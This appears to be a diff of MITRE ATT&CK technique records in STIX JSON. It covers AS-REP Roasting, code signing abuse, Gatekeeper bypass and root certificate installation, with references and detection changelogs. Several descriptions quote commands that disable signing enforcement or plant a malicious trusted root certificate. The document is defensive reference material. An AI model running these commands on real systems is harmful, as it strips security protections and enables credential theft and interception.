+ "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1558/004",
+ "external_id": "T1558.004"
+ },
+ {
+ "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
+ "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
+ "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
+ },
+ {
+ "source_name": "Harmj0y Roasting AS-REPs Jan 2017",
+ "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.",
+ "url": "https://blog.harmj0y.net/activedirectory/roasting-as-reps/"
+ },
+ {
+ "source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019",
+ "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.",
+ "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/"
+ },
+ {
+ "source_name": "SANS Attacking Kerberos Nov 2014",
+ "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
+ "url": "https://redsiege.com/kerberoast-slides"
+ },
+ {
+ "source_name": "AdSecurity Cracking Kerberos Dec 2015",
+ "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
+ "url": "https://adsecurity.org/?p=2293"
+ },
+ {
+ "source_name": "Microsoft 4768 TGT 2017",
+ "description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.",
+ "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768"
+ },
+ {
+ "source_name": "Microsoft Kerberos Preauth 2014",
+ "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.",
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+ "url": "https://adsecurity.org/?p=483"
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+ "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
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+ "source_name": "Harmj0y Kerberoast Nov 2016",
+ "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.",
+ "url": "https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/"
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+ "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ",
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+ "source_name": "Securelist Digital Certificates",
+ "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
+ "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
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+ "source_name": "Symantec Digital Certificates",
+ "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Windows Registry: Windows Registry Key Creation\", \"File: File Metadata\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.766000+00:00\", \"old_value\": \"2025-04-15 19:59:00.906000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\\n\\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\\"Hide Microsoft Entries\\\" and \\\"Hide Windows Entries\\\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \\n\\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\\n-\\n-Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\\"Hide Microsoft Entries\\\" and \\\"Hide Windows Entries\\\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \\n-\\n-Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. \"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1024: Restrict Registry Permissions",
+ "M1026: Privileged Account Management",
+ "M1028: Operating System Configuration",
+ "M1038: Execution Prevention",
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0452: Detect Subversion of Trust Controls via Certificate, Registry, and Attribute Manipulation"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-05 16:27:37.784000+00:00",
+ "modified": "2025-10-24 17:48:37.098000+00:00",
+ "name": "Code Signing",
+ "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1553/002",
+ "external_id": "T1553.002"
+ },
+ {
+ "source_name": "EclecticLightChecksonEXECodeSigning",
+ "description": "Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.",
+ "url": "https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/"
+ },
+ {
+ "source_name": "Securelist Digital Certificates",
+ "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
+ "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
+ },
+ {
+ "source_name": "Symantec Digital Certificates",
+ "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
+ "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
+ },
+ {
+ "source_name": "Wikipedia Code Signing",
+ "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
+ "url": "https://en.wikipedia.org/wiki/Code_signing"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "Windows"
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+ "changelog_datacomponent_detections": {
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+ "DS0022: File (File Metadata)"
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+ "shared": [],
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+ "DET0230: Detect Suspicious or Malicious Code Signing Abuse"
+ ],
+ "dropped": []
+ }
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+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "modified": "2025-10-24 17:48:48.927000+00:00",
+ "name": "Code Signing Policy Modification",
+ "description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1553/006",
+ "external_id": "T1553.006"
+ },
+ {
+ "source_name": "Apple Disable SIP",
+ "description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.",
+ "url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection"
+ },
+ {
+ "source_name": "F-Secure BlackEnergy 2014",
+ "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
+ "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf"
+ },
+ {
+ "source_name": "FireEye HIKIT Rootkit Part 2",
+ "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20210920172620/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html"
+ },
+ {
+ "source_name": "Microsoft Unsigned Driver Apr 2017",
+ "description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test"
+ },
+ {
+ "source_name": "Microsoft DSE June 2017",
+ "description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN"
+ },
+ {
+ "source_name": "Microsoft TESTSIGNING Feb 2021",
+ "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option"
+ },
+ {
+ "source_name": "Unit42 AcidBox June 2020",
+ "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
+ "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
+ },
+ {
+ "source_name": "GitHub Turla Driver Loader",
+ "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.",
+ "url": "https://github.com/hfiref0x/TDL"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Abel Morales, Exabeam"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.927000+00:00\", \"old_value\": \"2025-04-15 19:58:33.055000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
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+ "M1024: Restrict Registry Permissions",
+ "M1026: Privileged Account Management",
+ "M1046: Boot Integrity"
+ ],
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+ "changelog_datacomponent_detections": {
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+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0523: Detect Code Signing Policy Modification (Windows & macOS)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-05 16:16:08.471000+00:00",
+ "modified": "2025-10-24 17:48:36.535000+00:00",
+ "name": "Gatekeeper Bypass",
+ "description": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1553/001",
+ "external_id": "T1553.001"
+ },
+ {
+ "source_name": "Application Bundle Manipulation Brandon Dalton",
+ "description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.",
+ "url": "https://redcanary.com/blog/mac-application-bundles/"
+ },
+ {
+ "source_name": "theevilbit gatekeeper bypass 2021",
+ "description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.",
+ "url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/"
+ },
+ {
+ "source_name": "OceanLotus for OS X",
+ "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
+ "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
+ },
+ {
+ "source_name": "TheEclecticLightCompany Quarantine and the flag",
+ "description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.",
+ "url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/"
+ },
+ {
+ "source_name": "TheEclecticLightCompany apple notarization ",
+ "description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.",
+ "url": "https://eclecticlight.co/2020/08/28/how-notarization-works/"
+ },
+ {
+ "source_name": "20 macOS Common Tools and Techniques",
+ "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
+ "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Brandon Dalton @PartyD0lphin",
+ "Swasti Bhushan Deb, IBM India Pvt. Ltd."
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Metadata\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.535000+00:00\", \"old_value\": \"2025-04-16 20:37:16.087000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \\n\\nReview false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \\n\\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \\n-\\n-Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \\n-\\n-QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)\"}}}",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0288: Detect Gatekeeper Bypass via Quarantine Flag and Trust Control Manipulation"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 21:05:32.844000+00:00",
+ "modified": "2025-10-24 17:49:21.832000+00:00",
+ "name": "Install Root Certificate",
+ "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1553/004",
+ "external_id": "T1553.004"
+ },
+ {
+ "source_name": "Operation Emmental",
+ "description": "botconf eu. (2014, December 31). David Sancho - Finding Holes in Banking 2FA: Operation Emmental. Retrieved January 4, 2024.",
+ "url": "https://www.youtube.com/watch?v=gchKFumYHWc"
+ },
+ {
+ "source_name": "SpectorOps Code Signing Dec 2017",
+ "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
+ "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
+ },
+ {
+ "source_name": "Kaspersky Superfish",
+ "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
+ "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/"
+ },
+ {
+ "source_name": "objective-see ay mami 2018",
+ "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
+ "url": "https://objective-see.com/blog/blog_0x26.html"
+ },
+ {
+ "source_name": "Microsoft Sigcheck May 2017",
+ "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.",
+ "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck"
+ },
+ {
+ "source_name": "Tripwire AppUNBlocker",
+ "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
+ "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
+ },
+ {
+ "source_name": "Wikipedia Root Certificate",
+ "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
